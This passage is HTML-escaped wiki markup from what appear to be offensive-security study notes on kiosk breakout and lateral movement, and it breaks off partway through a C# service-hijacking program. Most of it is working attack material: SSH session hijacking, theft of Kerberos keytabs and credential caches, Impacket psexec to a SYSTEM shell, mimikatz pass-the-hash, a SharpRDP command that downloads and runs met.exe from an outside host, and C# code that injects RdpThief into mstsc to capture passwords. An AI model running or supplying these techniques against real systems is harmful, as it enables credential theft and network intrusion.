shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
